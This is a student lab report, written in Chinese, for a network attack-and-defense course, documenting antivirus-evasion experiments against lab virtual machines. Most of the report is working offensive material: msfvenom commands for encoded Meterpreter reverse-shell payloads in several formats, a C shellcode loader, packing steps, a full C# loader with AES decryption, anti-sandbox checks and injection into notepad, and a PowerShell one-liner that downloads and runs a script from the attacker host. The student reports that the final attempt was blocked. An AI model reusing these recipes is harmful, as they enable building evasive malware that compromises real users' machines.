20232326 2025-2026-1 《网络与系统攻防技术》实验三实验报告
一、实验内容与问题回答
1.1 实验核心内容
(1)使用msfvenom及编码器生成多格式恶意文件,验证编码免杀效果;
(2)通过Veil-Evasion工具生成自定义免杀Payload;
(3)手动编写C语言加载器执行Shellcode,实现底层免杀;
(4)使用UPX和Hyperion加壳工具,分析加壳对免杀的影响;
(5)组合多层技术生成高免杀率恶意代码,验证与杀软共生效果;
(6)在开启杀软的靶机中运行免杀文件,验证反弹连接成功。
1.2 问题回答
-
杀软是如何检测出恶意代码的?
特征码检测:扫描文件中是否包含已知恶意代码的特征片段,匹配则判定为恶意;
启发式检测:基于可疑特征推断,如文件无数字签名、包含异常API调用、结构不符合正常程序规范;
行为检测:监控程序运行时的动态操作,如连接恶意IP端口、修改系统注册表自启动项、注入其他进程,符合预设恶意行为规则则拦截。 -
免杀是做什么?
对恶意代码进行修改静态特征、隐藏动态行为,使其规避杀软的扫描和监控,最终在目标系统中正常运行并完成攻击。 -
免杀的基本方法有哪些?
静态免杀:通过编码混淆破坏特征码、加壳、手动重写代码;
动态免杀:通过内存加载Shellcode、延迟执行、伪装正常网络行为;
组合方法:叠加多层技术同时破坏静态特征和动态行为标记。
二、实验详细步骤
2.1 MSF编码器与多格式文件生成
2.1.1 生成编码的exe文件
原理:通过shikata_ga_nai编码器多次混淆Shellcode,破坏杀软特征码识别。
命令:
msfvenom -p windows/meterpreter/reverse_tcp
-e x86/shikata_ga_nai
-i 10
-b '\x00'
LHOST=192.168.124.130
LPORT=2326
-f exe
-o msf_encoded_zsm_20232326.exe
- -p:指定Payload类型,此处为windows/meterpreter/reverse_tcp(Windows系统反向连接的Meterpreter载荷);
- -e:指定编码器,x86/shikata_ga_nai是免杀效果较好的编码器,支持多轮编码;
- -i:设置编码迭代次数为10次;
- -b '\x00':剔除字符\x00,因\x00在C语言中是字符串结束符,会导致Shellcode执行时被截断;
成功生成了经过多次加密的反向连接载荷,输出的两行No信息意思是因未指定编码器,自动选择与载荷兼容的编码器及因未指定架构,自动选择载荷对应的x86架构。

使用virustotal网站进行评估,评估结果如下:

42/71,检测比例还是挺高的,免杀效果一般。
2.1.2 生成jar文件
原理:Java字节码特征模糊性较高,杀软检测难度大于exe文件。
命令:
msfvenom -p java/meterpreter/reverse_tcp
-e x86/shikata_ga_nai
-i 5
LHOST=192.168.124.130
LPORT=2327
-f jar
-o msf_jar_zsm_20232326.jar

评估结果如下:

36/63,免杀效果一般但是相较于上一个exe文件有所进步。
2.1.3生成编码的.php文件
命令:
msfvenom -p php/meterpreter/reverse_tcp
-e x86/shikata_ga_nai
-i 8
LHOST=192.168.124.130
LPORT=2328
-f raw
-o msf_php_zsm_20232326.php
- -f raw:PHP文件无需特定格式标识,直接输出原始代码;

检测结果如下:

3/48,效果明显优于前两个文件!
2.1.4生成编码的.py文件(端口2329)
命令:
msfvenom -p python/meterpreter/reverse_tcp
-e x86/shikata_ga_nai
-i 6
LHOST=192.168.124.130
LPORT=2329
-f raw
-o msf_py_zsm_20232326.py

咦,居然免杀了吗(后面才反应过来,这里不是免杀了,是文件没有传过来,检验空文件当然免杀了)

不对,python文件没有打包,重来
使用命令pyinstaller --onefile msf_py_zsm_20232326.py打包一下,这里需要安装pyinstaller

打包

咦,.spec文件?
似乎是缺少编码声明的问题,尝试查看.py文件并添加编码声明,但是发现原文件打包时已经被破坏,使用msf重新生成


查看文件,虽然命名为.py,但本质是一个COM格式的可执行文件,并且VirSCAN 支持检测 COM 格式的可执行文件

把新生成的文件放在VirSCAN里再次检测

怎么又4/48了,再放到virustotal里看看

10/62,看来要两个测试软件结合起来看,综合来看Python环境的反向连接Payload免杀效果还是比较好的。
2.1.5生成编码的.dll文件
命令:
msfvenom -p windows/meterpreter/reverse_tcp
-e x86/shikata_ga_nai
-i 8
-b '\x00\x0a\x0d'
LHOST=192.168.124.130
LPORT=2330
-f dll
-o msf_dll_zsm_20232326.dll
- -b '\x00\x0a\x0d':剔除DLL中可能导致解析错误的坏字符(空字符、换行符、回车符);
- -f dll:输出格式为Windows动态链接库(DLL),需通过rundll32.exe调用执行;

VirScan检测:17/48

VirusTotal检测:56/71

看来ddl文件免杀效果不是很好。
2.2 Veil-Evasion免杀工具使用
2.2.1 安装与启动Veil
命令:
sudo apt update
sudo apt install veil -y
sudo /usr/share/veil/config/setup.sh --force --silent

使用veil命令启动:

等待片刻后,启动成功。

2.2.2 生成C语言免杀Payload
步骤:
- 输入use evasion即在Veil主界面中选择躲避检测模块,用于生成免杀Payload。
![image]()
- use c/meterpreter/rev_tcp.py选择C语言反向连接模板,该模板无固定Shellcode特征,免杀效果较好。
![image]()
- 配置连接参数:
set LHOST 192.168.124.130
set LPORT 2331 - 输入generate开始生成Payload
输入文件名:veil_c_zsm_20232326
然后需要根据提示按一次回车键
![image]()
VirScan检测:10/48
![image]()
看来C语言实现的反向连接模板免杀效果确实比较好。
2.3 C+Shellcode编程免杀
2.3.1 生成C格式Shellcode
命令:
msfvenom -p windows/meterpreter/reverse_tcp
LHOST=192.168.124.130
LPORT=2332
-f c
-o shellcode_zsm_20232326.c

查看文件:

2.3.2 编写并编译加载器
- 创建.c文件
nano loader_zsm_20232326.c
![image]()
代码通过Windows API函数VirtualAlloc分配具有可执行权限的内存,使用memcpy将预定义的恶意Shellcode复制到该内存区域,最后并通过函数指针强制转换执行内存中的Shellcode,以规避磁盘文件静态扫描,达到免杀目的。 - 编译命令:
i686-w64-mingw32-g++ loader_zsm_20232326.c -o loader_zsm_20232326.exe
![image]()
VirScan检测:7/48
![image]()
VirusTotal检测:42/71
![image]()
AI给出了更高级的编译命令
i686-w64-mingw32-g++ loader_zsm_20232326.c
-o loader_zsm_20232326_2.exe
-s
-O2
-ffunction-sections -fdata-sections -Wl,--gc-sections
- -s:移除可执行文件中的符号表,减小文件体积并隐藏编译信息;
- -O2:启用二级优化,自动去除冗余代码和无效指令;
- -ffunction-sections -fdata-sections -Wl,--gc-sections:将代码和数据分为独立段,链接时自动删除未使用的段,进一步精简文件。
试一下,生成的文件如下;
![image]()
再次检测,VirScan检测:9/48

VirusTotal检测:30/70

结果不相上下,只在VirusTotal的检测里免杀效果表现好一些。
2.4 加壳工具应用
2.4.1 加壳工具
- 加壳工具是一类对可执行文件进行压缩、加密或代码混淆处理的工具,核心作用是隐藏文件原始二进制特征,降低被杀毒软件等安全工具检测的概率,同时可减小文件体积、保护代码不被逆向分析。分为压缩壳和加密壳两种。
2.4.2 UPX压缩壳
命令:
upx loader_zsm_20232326.exe
-o loader_upx_zsm_20232326.exe

再次检测,VirScan检测:9/48,免杀效果不错。

2.4.3 Hyperion加密壳
原理:通过AES加密原始代码,仅保留解密Stub,避免杀软直接解析代码内容。
命令:
cp loader_upx_zsm_20232326.exe /usr/share/windows-resources/hyperion/
cd /usr/share/windows-resources/hyperion/

- cp:将待加密文件复制到Hyperion的工作目录,必须在此目录执行,否则报错;
- cd:切换到Hyperion工作目录/usr/share/windows-resources/hyperion/;
wine hyperion.exe -v loader_upx_zsm_20232326.exe loader_hyp_zsm_20232326.exe
- wine:在Linux中运行Windows程序的兼容层,用于执行Hyperion;
- v:显示详细加密过程,便于排查错误;
![image]()
VirScan检测:20/48
![image]()
VirusTotal检测:51/71
![image]()
看来加密壳免杀效果不如压缩壳。
2.5 组合技术实现免杀
2.5.1组合方案1:采用“10次编码Shellcode→手动编写C加载器→编译优化→UPX压缩→Hyperion加密”五层处理
-
步骤1:生成10次编码的Shellcode
msfvenom -p windows/meterpreter/reverse_tcp
-e x86/shikata_ga_nai -i 10 -b '\x00'
LHOST=192.168.124.130 LPORT=2333
-f c -o final_shell_zsm_20232326.c
![image]()
-
步骤2:编写加载器final_loader_zsm_20232326.c
![image]()
-
步骤3:优化编译
i686-w64-mingw32-g++ final_loader_zsm_20232326.c
-o final_loader_zsm_20232326.exe
-s -O2 -ffunction-sections -fdata-sections -Wl,--gc-sections -
步骤4:UPX压缩
upx final_loader_zsm_20232326.exe -o final_upx_zsm_20232326.exe
![image]()
-
步骤5:Hyperion加密
命令:
cp final_upx_zsm_20232326.exe /usr/share/windows-resources/hyperion/
cd /usr/share/windows-resources/hyperion/
wine hyperion.exe -v final_upx_zsm_20232326.exe final_evade_zsm_20232326.exe
![image]()
-
与杀软共生验证
将final_evade_zsm_20232326.exe复制到Windows10虚拟机,虚拟机上已经安装了360和火绒。
![image]()
将final_evade_zsm_20232326.exe复制到Windows10虚拟机时火绒就会拦截并删除文件,重新尝试免杀
![image]()
2.5.2 组合方案2:“无文件攻击链+内存级操作+行为深度伪装+反沙箱机制”
阶段1:生成高强度加密Shellcode:采用“多编码器混合+自定义AES加密”,彻底破坏静态特征
- 1:MSF多编码器混淆
msfvenom -p windows/meterpreter/reverse_https
-e x86/shikata_ga_nai -i 8
-e x86/rot13 -i 4
-e x86/call4_dword_xor -i 6
-b '\x00\x0a\x0d\xff'
LHOST=192.168.124.130
LPORT=443
-f raw -o raw_shellcode.bin
命令通过msfvenom生成一个适用于Windows系统的反向HTTPS Meterpreter Shellcode,它会经shikata_ga_nai(8次)、rot13(4次)、call4_dword_xor(6次)三重编码处理以增强免杀性,同时避开\x00\x0a\x0d\xff等坏字符,最终生成原始二进制格式的文件raw_shellcode.bin,该文件执行后会通过443端口反向连接192.168.124.130

生成 Shellcode 时出现错误,属于编码器兼容性异常
使用命令apt update; apt install metasploit-framework命令来更新 Metasploit 框架

还是生成失败
替换为alpha_mixed编码器
msfvenom -p windows/meterpreter/reverse_https
-e x86/shikata_ga_nai -i 8
-e x86/alpha_mixed -x 0xff
-b '\x00\x0a\x0d\xff'
LHOST=192.168.124.130
LPORT=443
-f raw -o raw_shellcode.bin
alpha_mixed编码器生成可打印字符形式的 Shellcode,免杀效果较好且兼容性稳定。

-
2:准备Python加密环境
安装所需依赖的Crypto库:
sudo apt install python3-pip -y
pip3 install pycryptodome
![image]()
在 Kali Linux 中执行pip3 install pycryptodome时出现错误,核心原因是当前 Python 环境为 “外部管理环境”,系统禁止直接使用pip安装包以避免破坏系统依赖。
通过创建 Python 虚拟环境的方式隔离安装,避免影响系统依赖
命令:
python3 -m venv ~/venv_evasion
source ~/venv_evasion/bin/activate
激活后,命令行前缀会出现(venv_evasion),表示已进入隔离环境。
在虚拟环境中安装pycryptodome
pip install pycryptodome -
3:创建并执行AES加密脚本
(1)新建aes_encrypt.py:nano aes_encrypt.py
(2)粘贴以下代码(密钥固定为20232326zsm12345,与后续步骤对应):
from Crypto.Cipher import AES
import os
# 16字节密钥
key = b'20232326zsm12345'
# 生成16字节随机IV(初始化向量)
iv = os.urandom(16)
# 读取原始Shellcode
shellcode = open('raw_shellcode.bin', 'rb').read()
# 填充Shellcode至AES块大小(16字节倍数)
pad = lambda x: x + (AES.block_size - len(x) % AES.block_size) * b'\x00'
# 使用CBC模式加密
cipher = AES.new(key, AES.MODE_CBC, iv)
# 加密后的数据 = IV(前16字节) + 加密后的Shellcode
encrypted = iv + cipher.encrypt(pad(shellcode))
# 保存加密结果
open('encrypted_shellcode.bin', 'wb').write(encrypted)

(3)保存退出(Ctrl+O→回车→Ctrl+X),执行加密:
python3 aes_encrypt.py

阶段2:编写C#内存加载器
- 1:创建C#
(1)新建EvadeLoader.cs:
nano EvadeLoader.cs
(2)粘贴代码
using System;
using System.Diagnostics;
using System.Runtime.InteropServices;
using System.Security.Cryptography;
class EvadeLoader {
// AES解密(对应加密逻辑)
static byte[] Decrypt(byte[] data, byte[] key) {
byte[] iv = new byte[16];
Array.Copy(data, 0, iv, 0, 16); // 提取前16字节IV
byte[] ciphertext = new byte[data.Length - 16];
Array.Copy(data, 16, ciphertext, 0, ciphertext.Length);
using (AES aes = AES.Create()) {
aes.Key = key;
aes.IV = iv;
aes.Mode = CipherMode.CBC;
using (ICryptoTransform decryptor = aes.CreateDecryptor()) {
return decryptor.TransformFinalBlock(ciphertext, 0, ciphertext.Length);
}
}
}
// 反沙箱检测(CPU核心数+系统启动时间)
static bool IsSandbox() {
if (Environment.ProcessorCount < 2) return true; // 沙箱多为单核心
// 系统启动时间小于5分钟则可疑(TickCount单位为毫秒)
if (TimeSpan.FromMilliseconds(Environment.TickCount) < TimeSpan.FromMinutes(5)) return true;
return false;
}
// 获取进程ID(根据进程名,如notepad.exe)
static int GetProcessIdByName(string processName) {
Process[] processes = Process.GetProcessesByName(processName);
if (processes.Length == 0) {
// 若notepad未运行,自动启动一个
Process.Start("notepad.exe");
System.Threading.Thread.Sleep(1000); // 等待启动
processes = Process.GetProcessesByName(processName);
}
return processes[0].Id;
}
static void Main() {
// 反沙箱:检测到则退出
if (IsSandbox()) return;
// 延迟10秒(规避实时监控)
System.Threading.Thread.Sleep(10000);
// 加密的Shellcode(从encrypted_shellcode.bin转换为字节数组)
byte[] encrypted = new byte[] {
// 替换为实际内容:执行下方命令获取数组并粘贴此处
// xxd -i encrypted_shellcode.bin | sed 's/encrypted_shellcode_bin/encrypted/g'
};
// 解密密钥(与加密时一致)
byte[] key = System.Text.Encoding.ASCII.GetBytes("20232326zsm12345");
// 解密得到原始Shellcode
byte[] shellcode = Decrypt(encrypted, key);
// 注入notepad进程
IntPtr hProcess = OpenProcess(0x1F0FFF, false, GetProcessIdByName("notepad"));
IntPtr addr = VirtualAllocEx(hProcess, IntPtr.Zero, (uint)shellcode.Length, 0x1000 | 0x2000, 0x40);
WriteProcessMemory(hProcess, addr, shellcode, (uint)shellcode.Length, out _);
CreateRemoteThread(hProcess, IntPtr.Zero, 0, addr, IntPtr.Zero, 0, out _);
}
// Windows API声明(进程注入所需)
[DllImport("kernel32.dll")]
static extern IntPtr OpenProcess(uint dwDesiredAccess, bool bInheritHandle, int dwProcessId);
[DllImport("kernel32.dll")]
static extern IntPtr VirtualAllocEx(IntPtr hProcess, IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);
[DllImport("kernel32.dll")]
static extern bool WriteProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, byte[] lpBuffer, uint nSize, out UIntPtr lpNumberOfBytesWritten);
[DllImport("kernel32.dll")]
static extern IntPtr CreateRemoteThread(IntPtr hProcess, IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, out uint lpThreadId);
}

(3)生成encrypted数组并替换:
执行以下命令将encrypted_shellcode.bin转换为C#字节数组:
xxd -i encrypted_shellcode.bin | sed 's/encrypted_shellcode_bin/encrypted/g'

将输出结果中的数组部分,替换到代码中byte[] encrypted = new byte[] { ... };的括号内。
这里输出内容比较长,执行以下命令,将转换后的命令的输出内容保存到 shellcode_c_array.h 文件:


用图形化编辑器
gedit shellcode_c_array.h
打开后,复制。
再打开EvadeLoader.cs文件,将数组部分内容替换


(数组太长了,给出部分截图)
阶段3:编译与混淆C#加载器
- 1:安装.NET编译工具
sudo apt install mono-devel -y - 2:编译加载器为EXE
mcs /target:exe /platform:x86 /reference:System.Security.dll EvadeLoader.cs /out:EvadeLoader.exe /optimize+
生成EvadeLoader.exe。
这里遇到了问题:找不到类型或命名空间名称 AES,排查后发现原因是C#语言对大小写敏感,错把代码中的类名Aes写为AES导致的报错,修改后成功编译。


阶段3:生成PowerShell无文件加载脚本
-
1.将生成的EXE转换为Base64:
base64 -w 0 EvadeLoader.exe > loader_base64.txt -
2.创建Invoke-Evade.ps1:
nano Invoke-Evade.ps1
![image]()
- 粘贴以下内容,并替换Base64字符串(从loader_base64.txt复制):
$bytes = [Convert]::FromBase64String("此处粘贴loader_base64.txt的内容") $assembly = [System.Reflection.Assembly]::Load($bytes) $assembly.EntryPoint.Invoke($null, @($null))

阶段4:攻击机配置(HTTPS监听)
- 1:生成自签名SSL证书
使用下面的命令生成私钥和证书请求
openssl req -new -newkey rsa:2048 -nodes -keyout evil.key -out evil.csr
![image]()
生成自签名证书
openssl x509 -req -days 365 -in evil.csr -signkey evil.key -out evil.crt

- 2:启动MSF监听
msfconsole
use exploit/multi/handler
set payload windows/meterpreter/reverse_https
set LHOST 192.168.124.130
set LPORT 443
set HandlerSSLCert /home/kali/evil.crt
set StagerVerifySSLCert true
exploit
![image]()
阶段6:靶机执行(无文件攻击)
-
- 在攻击机启动HTTP服务,让靶机可访问Invoke-Evade.
python3 -m http.server 80
- 在攻击机启动HTTP服务,让靶机可访问Invoke-Evade.
-
- 在Win10的PowerShell中执行:
-nop -w hidden -c "IEX (New-Object Net.WebClient).DownloadString('http://192.168.124.130/Invoke-Evade.ps1')"
- 在Win10的PowerShell中执行:
通过http服务访问,失败了:


尝试复制ps1文件到Win10上,依然被拦截。

一套操作下来还是免杀失败了,现在杀毒软件做的真全面T_T。
三、问题与解决方案
-
问题1:生成高强度加密Shellcode时,使用“shikata_ga_nai(8次)+rot13(4次)+call4_dword_xor(6次)”多编码器混合生成,出现编码器兼容性异常错误,生成失败
-
问题1解决方案:选用兼容性更稳定的编码器,保留shikata_ga_nai(8次),搭配x86/alpha_mixed编码器,同时通过-b '\x00\x0a\x0d\xff'剔除坏字符,重新生成Shellcode
-
问题2:在Kali Linux中执行pip3 install pycryptodome安装Crypto库时,因当前Python环境为“外部管理环境”,系统禁止直接使用pip安装包,导致安装失败
-
问题2解决方案:通过创建Python虚拟环境隔离安装,避免影响系统依赖。执行python3 -m venv ~/venv_evasion创建虚拟环境,再用source ~/venv_evasion/bin/activate激活虚拟环境,最后在虚拟环境中执行pip install pycryptodome,成功安装所需库
-
问题3:编写C#加载器后,使用mcs编译时,报错“找不到类型或命名空间名称 AES”,编译失败
-
问题3解决方案:排查发现C#语言对大小写敏感,代码中错误地将类名Aes写为AES,导致编译器无法识别。将代码中所有“AES”修正为“Aes”,重新执行编译命令后成功生成.exe文件
四、实验总结
这次免杀技术实验,不仅让我实打实掌握了恶意代码免杀的核心技术,在排查问题和建立攻防思维上,也有了特别大的提升。实验前我对免杀只了解了皮毛,真上手操作才发现,不同文件格式的免杀难度差太多了。比如PHP文件在VirScan里的检出率才3/48,DLL文件却飙到56/71,这主要是因为不同格式的解析逻辑不一样,杀软监控的重点也不同。而且单一技术根本不够用,像MSF默认编码的Payload,检出率超50%,但把“编码+加载器+编译优化”组合起来用,检出率就能降很多,这也让我真正搞懂了,免杀的核心就是“多层破坏特征”。
更关键的是,这次实验让我明白,攻防对抗本来就是动态平衡的。实验后期我试无文件攻击,就算把PowerShell脚本做了Base64编码和字符串混淆,还是被360和火绒拦下来了。这说明现在的杀软早不只是靠静态特征检测了,已经转向动态行为监控,对无文件攻击的识别能力强了不少。所以免杀技术根本不是一劳永逸的,需要跟着杀软的检测规则随时调整策略。另外,从攻击者的角度出发,也反过来提升了我的防御意识。比如我手动写加载器,把恶意代码注入记事本进程实现免杀时才意识到,平时不用未知文件只是基础防护,就算是看起来正常的进程,也可能被注入恶意代码。这让我明白,做安全防御需要站在攻击者的角度,琢磨他们可能的入侵路径。
可惜实验最终没能完全绕过现在的杀软。一方面是杀软版本新、监控规则严,另一方面是我对免杀技术掌握得还不够,需要日后接着深入学习。这次实验不只是一次技术实操,更像是一次攻防思维的训练。让我在学会技术的同时,也对网络安全多了份敬畏心。























浙公网安备 33010602011771号